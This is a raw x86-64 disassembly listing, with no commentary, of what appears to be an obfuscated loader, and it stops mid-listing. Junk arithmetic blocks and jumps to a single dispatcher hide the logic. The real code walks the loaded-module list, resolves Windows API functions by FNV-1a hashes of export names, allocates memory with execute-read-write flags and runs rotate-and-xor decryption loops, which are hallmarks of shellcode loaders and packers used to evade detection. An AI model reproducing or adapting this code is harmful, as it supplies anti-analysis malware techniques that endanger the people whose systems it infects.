jmp 0x180025dca
push rax
pushf
mov eax, 0x28cbe478
pushf
not eax
add eax, 0xfa4f7029
xor eax, 0xd1c78bb0
rol eax, 0x2f
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x180027608
push rax
pushf
mov eax, 0xfd8366b7
pushf
not eax
add eax, 0xe871da02
xor eax, 0xeaee760a
rol eax, 0x3b
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x66a2875d
pushf
not eax
add eax, 0x99093923
xor eax, 0x865ab9c7
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xf8ce3044
xor eax, 0xe325d003
rol eax, 0x72
popf
jmp 0x180025dca
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x52fa3686
pushf
not r9d
add r9d, 0xc1f15d85
xor r9d, 0xb4fd6f8f
rol r9d, 0xe2
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x55cb8685
pushf
not eax
add eax, 0x991fae1d
xor eax, 0xc077980e
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xceaa7cfd
xor eax, 0xd333c3b6
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xa202c26c
xor eax, 0xe9f073cb
rol eax, 0xea
popf
jmp 0x180025dca
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1800276fc
push rax
pushf
mov eax, 0x12ad8385
pushf
not eax
add eax, 0xf6a4b6f8
xor eax, 0xe3f73872
rol eax, 0x1a
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x12ec49c4
pushf
not eax
add eax, 0xb9e621c1
xor eax, 0xea4ae917
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xafe86005
xor eax, 0xce989a7a
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xe5610950
xor eax, 0xbfd79274
rol eax, 0xdd
popf
jmp 0x180025dca
jmp 0x1800274be
mov qword [rbx + 8], rax
push rax
pushf
mov eax, 0x4abaf5e8
pushf
not eax
add eax, 0xc649fb59
xor eax, 0x8c661ce0
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x961dc7c2
xor eax, 0xbab4c0ac
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xc53a85bb
xor eax, 0x86b9021b
rol eax, 0x27
popf
jmp 0x180025dca
mov r8, qword [rbx]
mov rax, qword [rbx + 8]
movsxd rcx, dword [rbx + 0x10]
inc rcx
lea rdx, [rcx + rcx*2]
mov dword [rbx + 0x10], ecx
mov qword [rbx + rdx*8 + 0x18], rax
mov qword [rbx + rdx*8 + 0x20], rdi
mov qword [rbx + rdx*8 + 0x28], rsi
movsxd rcx, dword [rbx + 0x10]
lea r9, [rcx + rcx*2]
mov rcx, qword [rbx + r9*8 + 0x20]
mov edx, ecx
mov r10d, r8d
mov r11d, ecx
sub r11d, r8d
mov edx, r11d
rol r11d, 8
mov r10, qword [rbx + r9*8 + 0x28]
mov r9, r10
cmp r11d, dword [r10 + 4]
je 0x18002784c
push rax
pushf
mov eax, 0xca8ff328
pushf
not eax
add eax, 0xad2b6b6d
xor eax, 0xe29b2644
rol eax, 0xd7
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x9475ceca
pushf
not eax
add eax, 0xa94ceef6
xor eax, 0x83100bda
rol eax, 0x6a
popf
pushf
not eax
add eax, 0xaa5fcf0e
xor eax, 0x8db180ae
rol eax, 0xf5
popf
jmp 0x180025dca
xor r10d, r10d
nop dword [rax]
push rax
pushf
mov eax, 0x9dd11e35
pushf
not eax
add eax, 0xc47d2744
xor eax, 0xc131dcb9
rol eax, 0x42
popf
pushf
not eax
add eax, 0xaf617a09
xor eax, 0x93aa7e7f
rol eax, 0xd
popf
pushf
not eax
add eax, 0xc16fd323
xor eax, 0xb3c502ba
rol eax, 0x6b
popf
jmp 0x180025dca
mov edx, r10d
mov r11, qword [rcx + r10]
mov qword [rax + r10], r11
movsxd rcx, dword [rbx + 0x10]
lea rcx, [rcx + rcx*2]
mov ecx, dword [rbx + rcx*8 + 0x20]
mov r9d, r8d
sub ecx, r8d
ror r11, cl
mov qword [rax + r10], r11
movsxd rcx, dword [rbx + 0x10]
lea rcx, [rcx + rcx*2]
mov rsi, qword [rbx + rcx*8 + 0x20]
mov rcx, qword [rbx + rcx*8 + 0x28]
sub rcx, r8
mov rdi, rcx
mov ecx, r10d
ror rdi, cl
sub rsi, r8
mov ecx, edi
rol rsi, cl
xor rsi, r11
mov qword [rax + r10], rsi
mov r11, r10
movsxd rcx, dword [rbx + 0x10]
lea r10, [rcx + rcx*2]
mov rdx, qword [rbx + r10*8 + 0x20]
mov rcx, rdx
mov esi, edx
sub esi, r8d
mov edx, esi
rol esi, 8
mov r9, qword [rbx + r10*8 + 0x28]
xor esi, dword [r9 + 4]
add r11, 8
mov r10, r11
cmp r11, rsi
jb 0x180027972
push rax
pushf
mov eax, 0x41c7e634
pushf
not eax
add eax, 0xe418ab55
xor eax, 0xa250c511
rol eax, 0x60
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x3ac9a4c6
pushf
not eax
add eax, 0x956a8102
xor eax, 0xfcf30e79
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xd3a707d5
xor eax, 0xe0133392
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xf98bd6f8
xor eax, 0xdae10739
rol eax, 0x32
popf
jmp 0x180025dca
rol edx, 4
mov ecx, edx
xor ecx, dword [r9]
cmp ecx, 2
jb 0x1800279fc
push rax
pushf
mov eax, 0x547c6d39
pushf
not eax
add eax, 0xc3d3e78f
xor eax, 0x9955d1f1
rol eax, 0x11
popf
pushf
not eax
add eax, 0xfa2a1996
xor eax, 0xa2e02d89
rol eax, 0x81
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x2323a45d
pushf
not eax
add eax, 0xd0b43d5d
xor eax, 0xde3e8906
rol eax, 0x26
popf
pushf
not eax
add eax, 0xc55b2832
xor eax, 0xc256a9d5
rol eax, 0xc9
popf
jmp 0x180025dca
lea rdx, [r8 - 0x80000000]
mov qword [rsp + 0xa8], rdx
mov ecx, ecx
mov r9, rcx
shl r9, 4
add r9, 0xfffffffffffffff0
mov qword [rsp + 0xa0], r9
xor r11d, r11d
jmp 0x180027ba9
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x1b78f33b
pushf
not eax
add eax, 0xd8a9b6a5
xor eax, 0x98312e58
rol eax, 1
popf
pushf
not eax
add eax, 0xfaaed317
xor eax, 0xc654f843
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x931d56bc
xor eax, 0xd75166b4
rol eax, 0x70
popf
jmp 0x180025dca
mov edx, r12d
mov r12d, r9d
sub edx, r9d
mov ecx, r14d
mov r14d, edx
mov r15d, edx
mov esi, edx
rol edx, cl
xor edx, r10d
mov ecx, edi
rol r14d, cl
mov rcx, qword [rsp + 0xb0]
rol r15d, cl
xor r14d, r8d
xor r15d, ebp
push r9
not r9d
sub edx, r9d
pop r9
sub edx, 1
mov ecx, eax
push rax
not eax
sub r14d, eax
pop rax
sub r14d, 1
push r15
not r15d
sub r14d, r15d
pop r15
sub r14d, 1
sub edx, r14d
mov ecx, r11d
add ecx, 0x18
rol esi, cl
xor esi, dword [r13 + r11 + 0x14]
mov ecx, esi
mov dword [rax + rcx], edx
mov rcx, r11
add rcx, 0x10
mov r11, rcx
cmp qword [rsp + 0xa0], rcx
mov r8, r9
je 0x180027b89
push rax
pushf
mov eax, 0x2aeeb695
pushf
not eax
add eax, 0xada1e568
xor eax, 0x84c23aab
rol eax, 0x97
popf
pushf
not eax
add eax, 0xdf64a606
xor eax, 0xb8616d7b
rol eax, 0xa9
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x3d82e407
pushf
not eax
add eax, 0xfdd91c81
xor eax, 0xae563879
rol eax, 0xa7
popf
jmp 0x180025dca
movsxd rcx, dword [rbx + 0x10]
lea rdx, [rcx + rcx*2]
mov r12, qword [rbx + rdx*8 + 0x20]
mov ecx, r12d
mov r10d, r8d
mov esi, r12d
sub esi, r8d
lea r14, [r11 + 0x20]
mov ecx, r14d
mov r10d, esi
mov ebp, esi
mov r15d, esi
rol r15d, cl
mov r13, qword [rbx + rdx*8 + 0x28]
mov edx, dword [r11 + r13 + 0x10]
lea rdi, [r11 + 0x14]
mov ecx, edi
rol r10d, cl
mov r9, r8
mov r8d, dword [r11 + r13 + 0x18]
lea rcx, [r11 + 0x1c]
mov qword [rsp + 0xb0], rcx
rol ebp, cl
xor r10d, edx
mov ecx, r10d
xor ebp, r8d
mov r10d, ebp
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov r10d, dword [r11 + r13 + 0x1c]
xor r15d, r10d
add r15, qword [rsp + 0xa8]
sub r15, rcx
mov ebp, r8d
mov r8d, edx
movabs rcx, 0xffffffa206af2768
pushf
not rcx
add rcx, 0x6b5359f5
xor rcx, 0x71cc8f0c
rol rcx, 0x39
popf
pushf
not rcx
add rcx, 0x6711c29c
xor rcx, 0x551b0edf
rol rcx, 0x8f
popf
cmp r15, rcx
ja 0x180027cc7
push rax
pushf
mov eax, 0x5c8a08b9
pushf
not eax
add eax, 0x9c5690ce
xor eax, 0x9b07d05c
rol eax, 5
popf
pushf
not eax
add eax, 0xfc493aae
xor eax, 0x81ffb8ad
rol eax, 0x87
popf
pushf
not eax
add eax, 0xd2b06a20
xor eax, 0x81ebcfa8
rol eax, 0x63
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x4a40e0
pushf
not eax
add eax, 0x83422613
xor eax, 0xad27dfc4
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x8407fbdf
xor eax, 0xca92d0fb
rol eax, 0xab
popf
pushf
not eax
add eax, 0xca7718c3
xor eax, 0x851f3802
rol eax, 0x87
popf
jmp 0x180025dca
int3
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
nop
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xf8
lea rax, [0x1c8063d72]
pushf
sub rax, 0x48048c6f
popf
mov qword [rsp + 0xc0], rax
mov rsi, qword gs:[0x30]
mov rcx, qword [rsi + 0x118]
mov rax, rcx
test rcx, rcx
jne 0x180027e3d
push rax
pushf
mov eax, 0x9d60cfa1
pushf
not eax
add eax, 0xa67f1fab
xor eax, 0xad2bd723
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xde2446b2
xor eax, 0xec0ae16f
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa0b1c318
xor eax, 0xffcbeb79
rol eax, 0x9d
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x4108b1e
pushf
not eax
add eax, 0xcf71286b
xor eax, 0xc9c09d4c
rol eax, 0xad
popf
jmp 0x180025dca
mov dword [rsp + 0x4c], 4
mov dword [rsp + 0x48], 0x3000
mov dword [rsp + 0x44], 0x100000
mov qword [rsp + 0xb8], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x180027f12
nop dword [rax]
push rax
pushf
mov eax, 0x5e284d61
pushf
not eax
add eax, 0xb122d57c
xor eax, 0x92fa8814
rol eax, 0xe2
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
push rax
pushf
mov eax, 0xbf7fac97
pushf
not eax
add eax, 0xfce9e51d
xor eax, 0xa2e528f4
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xe12a003d
xor eax, 0xf022e7a4
rol eax, 0x1d
popf
jmp 0x180025dca
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x58], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x60], rdx
mov dword [rsp + 0x50], ecx
mov rax, qword [rsp + 0x60]
cmp rax, qword [rsp + 0x58]
je 0x180027f8b
push rax
pushf
mov eax, 0xb678615
pushf
not eax
add eax, 0x989db9f8
xor eax, 0xc0cf18de
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x84d87a76
xor eax, 0xab44fc2b
rol eax, 0xe9
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xa54728e8
pushf
not eax
add eax, 0x8cdf2642
xor eax, 0x8fc4957a
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xbef9f2ec
xor eax, 0xeb01d96f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xe878ae2a
xor eax, 0xfb0759b0
rol eax, 0x33
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x180028197
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xad15be25
pushf
not eax
add eax, 0xbac89303
xor eax, 0xf1ae0016
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xbea235f1
xor eax, 0xab561ba3
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xa9a952f6
xor eax, 0xd1c63c75
rol eax, 0x49
popf
jmp 0x180025dca
mov r8d, 0xcd72dc19
pushf
not r8d
add r8d, 0xfab2779b
xor r8d, 0xc67cc90c
rol r8d, 0xa7
popf
pushf
not r8d
add r8d, 0xe20995af
xor r8d, 0xd6b6a2bc
rol r8d, 0xa5
popf
pushf
not r8d
add r8d, 0xa71d070d
xor r8d, 0xa668c351
rol r8d, 0x34
popf
push rax
pushf
mov eax, 0x6aa8576
pushf
not eax
add eax, 0xac65f176
xor eax, 0x93fd6a20
rol eax, 0x20
popf
pushf
not eax
add eax, 0xf166cc19
xor eax, 0xce9c86e7
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xc00c96e2
xor eax, 0xacd5f972
rol eax, 0xd6
popf
jmp 0x180025dca
mov rcx, rax
cmp r8d, 0x582cdd4c
je 0x180028151
push rax
pushf
mov eax, 0x443aeee3
pushf
not eax
add eax, 0x9912eb42
xor eax, 0x9599d6b1
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xe8416655
xor eax, 0xed2883a6
rol eax, 0x8e
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x1e4b30a4
pushf
not eax
add eax, 0xae12b423
xor eax, 0xc6895935
rol eax, 0x21
popf
pushf
not eax
add eax, 0x92f58a7d
xor eax, 0xf19eac3e
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xc9f05941
xor eax, 0xd860df68
rol eax, 0x50
popf
jmp 0x180025dca
mov rax, rcx
sub rax, 1
jb 0x1800281c0
push rax
pushf
mov eax, 0x15020545
pushf
not eax
add eax, 0xe5f67876
xor eax, 0xd0b67330
rol eax, 0x90
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x625f3138
pushf
not eax
add eax, 0xeff2c126
xor eax, 0x936f2612
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x97023944
xor eax, 0xebabea88
rol eax, 0x22
popf
pushf
not eax
add eax, 0xeab0970c
xor eax, 0xb825e7ac
rol eax, 0x41
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x180028274
push rax
pushf
mov eax, 0x2fbcce3a
pushf
not eax
add eax, 0xe5cf153a
xor eax, 0x87bf6653
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xdac1ef8c
xor eax, 0x9687a971
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xa823b1dc
xor eax, 0xb032f2ac
rol eax, 0x36
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xe6fb530c
pushf
not eax
add eax, 0xb26f4cfb
xor eax, 0xc1f00361
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xb9e8af1c
xor eax, 0xbb3261fa
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xf08a3511
xor eax, 0xb5db0b73
rol eax, 0x63
popf
jmp 0x180025dca
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0x8a3b2ab4
pushf
not r9d
add r9d, 0xe67ac8cc
xor r9d, 0xf9dc5e6a
rol r9d, 0xd7
popf
pushf
not r9d
add r9d, 0x9f07fbed
xor r9d, 0xbaa0db4e
rol r9d, 0x36
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x4fc7d9bb
pushf
not eax
add eax, 0xee02c872
xor eax, 0x9e3aefa6
rol eax, 0x3e
popf
jmp 0x180025dca
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x180028392
push rax
pushf
mov eax, 0x310dd812
pushf
not eax
add eax, 0xedd57f9f
xor eax, 0xfa55e883
rol eax, 0x82
popf
pushf
not eax
add eax, 0xc5394bac
xor eax, 0x9d62e639
rol eax, 0xde
popf
pushf
not eax
add eax, 0x8c7f04ce
xor eax, 0xbaca4a78
rol eax, 0x8c
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xf027751f
pushf
not eax
add eax, 0xce205d4f
xor eax, 0xcdf8e82e
rol eax, 0xc6
popf
jmp 0x180025dca
jmp 0x180028112
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x4c]
mov r8d, dword [rsp + 0x48]
movsxd rdx, dword [rsp + 0x44]
mov rcx, qword [rsp + 0xb8]
jmp 0x18002842c
call rax
mov qword [rsi + 0x118], rax
mov qword [rsp + 0xb0], 0x30
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xa8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x180028503
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xe723bd0e
pushf
not eax
add eax, 0xd1d1de08
xor eax, 0xeaae20dd
rol eax, 0x41
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x28]
mov rax, qword [rax]
push rax
pushf
mov eax, 0xfea94476
pushf
not eax
add eax, 0x99cbfd67
xor eax, 0x8962b8f0
rol eax, 0xaa
popf
jmp 0x180025dca
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x70], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x78], rdx
mov dword [rsp + 0x68], ecx
mov rax, qword [rsp + 0x78]
cmp rax, qword [rsp + 0x70]
je 0x18002858f
push rax
pushf
mov eax, 0x1c151485
pushf
not eax
add eax, 0xbbf0070e
xor eax, 0xcbd211e7
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9e91fd51
xor eax, 0xda073ff9
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xea3df45d
xor eax, 0x9aad10e9
rol eax, 0x8b
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x6ef71160
pushf
not eax
add eax, 0xc609aeae
xor eax, 0xbcb4b95e
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xfee64b12
xor eax, 0xe5cbd5c4
rol eax, 0x12
popf
pushf
not eax
add eax, 0x959037ec
xor eax, 0xfd8aea31
rol eax, 0x81
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x18]
mov ecx, eax
jmp 0x18002876f
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x451080ed
pushf
not eax
add eax, 0x980f99b4
xor eax, 0xe55d86fa
rol eax, 0x72
popf
pushf
not eax
add eax, 0xb4545943
xor eax, 0xdcaa127c
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xe6494484
xor eax, 0x850f51a8
rol eax, 0x26
popf
jmp 0x180025dca
mov r8d, 0xd81d2a2a
pushf
not r8d
add r8d, 0xaf65c3d4
xor r8d, 0x82efc9ad
rol r8d, 0x6a
popf
pushf
not r8d
add r8d, 0x84c4f9a1
xor r8d, 0xa1394748
rol r8d, 0xc8
popf
push rax
pushf
mov eax, 0x30b23be8
pushf
not eax
add eax, 0xb6822b55
xor eax, 0xb0d83431
rol eax, 9
popf
pushf
not eax
add eax, 0xc4a881e5
xor eax, 0x9944d3b0
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xd9410305
xor eax, 0xcb18cc30
rol eax, 0x68
popf
jmp 0x180025dca
mov rcx, rax
cmp r8d, 0xa5e11fe3
je 0x180028729
push rax
pushf
mov eax, 0x82f5a868
pushf
not eax
add eax, 0xc40311ea
xor eax, 0xdd0d6981
rol eax, 0x47
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xc279d7e0
pushf
not eax
add eax, 0xf24df174
xor eax, 0x9d0ea544
rol eax, 0x55
popf
pushf
not eax
add eax, 0xa4e05336
xor eax, 0xdfa945f5
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xa3488cff
xor eax, 0xadb86a14
rol eax, 0x9b
popf
jmp 0x180025dca
mov rax, rcx
sub rax, 1
jb 0x180028798
push rax
pushf
mov eax, 0xac4eeefd
pushf
not eax
add eax, 0x96c01821
xor eax, 0xee812923
rol eax, 0x8c
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x7ad12a07
pushf
not eax
add eax, 0xfcddd79f
xor eax, 0xac896484
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xcd6f4d1f
xor eax, 0x9aec7f89
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xc0169269
xor eax, 0x8e70fd89
rol eax, 0xe0
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x180028839
push rax
pushf
mov eax, 0xb20247c5
pushf
not eax
add eax, 0xd0c60efd
xor eax, 0xf6bb5476
rol eax, 0xa
popf
pushf
not eax
add eax, 0xaea26c95
xor eax, 0x8c5564f2
rol eax, 0xa6
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0x80d4e17a
pushf
not eax
add eax, 0xcc6035d6
xor eax, 0xeded301d
rol eax, 0x78
popf
pushf
not eax
add eax, 0xebad1542
xor eax, 0xa506afed
rol eax, 0xde
popf
jmp 0x180025dca
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0xa936003a
pushf
not r9d
add r9d, 0x9232755c
xor r9d, 0xb6f8f85a
rol r9d, 0x37
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x11154d59
pushf
not eax
add eax, 0xc199ad3b
xor eax, 0xbb8a563d
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xc0366670
xor eax, 0xb5280d93
rol eax, 0x78
popf
jmp 0x180025dca
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x18002893e
push rax
pushf
mov eax, 0xd2dfe1a8
pushf
not eax
add eax, 0x9e34bd46
xor eax, 0xc650d19a
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc478e9ad
xor eax, 0xdd092313
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xdaf32164
xor eax, 0xe71b6f9d
rol eax, 0x1d
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xaff576b1
pushf
not eax
add eax, 0xcd435076
xor eax, 0xcd0ec19f
rol eax, 0x53
popf
pushf
not eax
add eax, 0x82cb96df
xor eax, 0xecaf9df1
rol eax, 0xc
popf
pushf
not eax
add eax, 0xc9adee24
xor eax, 0xa11a78be
rol eax, 0x80
popf
jmp 0x180025dca
jmp 0x1800286fd
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r8, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xc0]
jmp 0x180028a25
call rax
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsi + 0x118]
mov qword [rcx], rax
mov rax, qword [rsi + 0x118]
push rax
pushf
mov eax, 0x4bc288b
pushf
not eax
add eax, 0xdfafcd49
xor eax, 0xad24f8e8
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xa19b585d
xor eax, 0xcb6f02e5
rol eax, 0x8e
popf
jmp 0x180025dca
mov rsi, rax
cmp qword [rax + 8], 0
jne 0x180028ab4
push rax
pushf
mov eax, 0x10408e28
pushf
not eax
add eax, 0x9f5a5699
xor eax, 0xb697847b
rol eax, 0x76
popf
pushf
not eax
add eax, 0xb6f78a03
xor eax, 0xb429263a
rol eax, 0xe0
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xdebaafa5
pushf
not eax
add eax, 0x87076344
xor eax, 0xa855339e
rol eax, 0xd2
popf
jmp 0x180025dca
mov qword [rsp + 0xa0], 0x18018
mov rdi, 0xfffffffffffe7fe7
add rdi, qword [rsi]
jmp 0x180028c1c
nop dword [rax]
push rax
pushf
mov eax, 0x3cfae53f
pushf
not eax
add eax, 0xec4ef831
xor eax, 0xaffa12f1
rol eax, 0x6f
popf
jmp 0x180025dca
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov r8d, dword [rdx + 0x1c]
push rcx
not rcx
sub r8, rcx
pop rcx
sub r8, 1
mov edx, dword [rdx + 0x24]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
movzx eax, word [rdx + rax*2]
mov eax, dword [r8 + rax*4]
push rcx
not rcx
sub rax, rcx
pop rcx
sub rax, 1
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x3c]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
jmp 0x180028ba4
call rax
add rdi, 0xfffffffffffe7fe8
test rax, rax
jne 0x180028bfc
push rax
pushf
mov eax, 0xbe71550c
pushf
not eax
add eax, 0xb87acc20
xor eax, 0xbd3ef5e8
rol eax, 0x28
popf
pushf
not eax
add eax, 0xb2329ce4
xor eax, 0xf581e1c4
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x9d730ae3
xor eax, 0xe1f1a8a6
rol eax, 0xec
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xf07d8cbf
pushf
not eax
add eax, 0xc78380af
xor eax, 0xe585f3ef
rol eax, 0xe9
popf
jmp 0x180025dca
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x3c], 0x3000
mov qword [rsp + 0x98], rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x180028cff
nop
push rax
pushf
mov eax, 0x27683b4b
pushf
not eax
add eax, 0xef7cc8b8
xor eax, 0xe5148d6c
rol eax, 0xc9
popf
jmp 0x180025dca
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
push rax
pushf
mov eax, 0x7af2e9b6
pushf
not eax
add eax, 0xd8482cf6
xor eax, 0xa6f887cc
rol eax, 0x55
popf
pushf
not eax
add eax, 0xdd004513
xor eax, 0xd1196362
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xb7ea764c
xor eax, 0x81cdfe74
rol eax, 0xa3
popf
jmp 0x180025dca
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x88], rax
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rax + rcx + 0x88]
mov ecx, dword [rax + rcx + 0x8c]
push rax
not rax
sub rdx, rax
pop rax
sub rdx, 1
mov qword [rsp + 0x90], rdx
mov dword [rsp + 0x80], ecx
mov rax, qword [rsp + 0x90]
cmp rax, qword [rsp + 0x88]
je 0x180028d9a
push rax
pushf
mov eax, 0x3f0f5173
pushf
not eax
add eax, 0xaf50346c
xor eax, 0xdf07e725
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8da03c83
xor eax, 0xfe9a6fee
rol eax, 0x63
popf
pushf
not eax
add eax, 0xadca657b
xor eax, 0xaed2ef2a
rol eax, 0xeb
popf
jmp 0x180025dca
push rax
pushf
mov eax, 0xdc5f5eb9
pushf
not eax
add eax, 0xf90c14f7
xor eax, 0xeee78e30
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xdc61ede3
xor eax, 0xc1dc91df
rol eax, 0x1d
popf
pushf
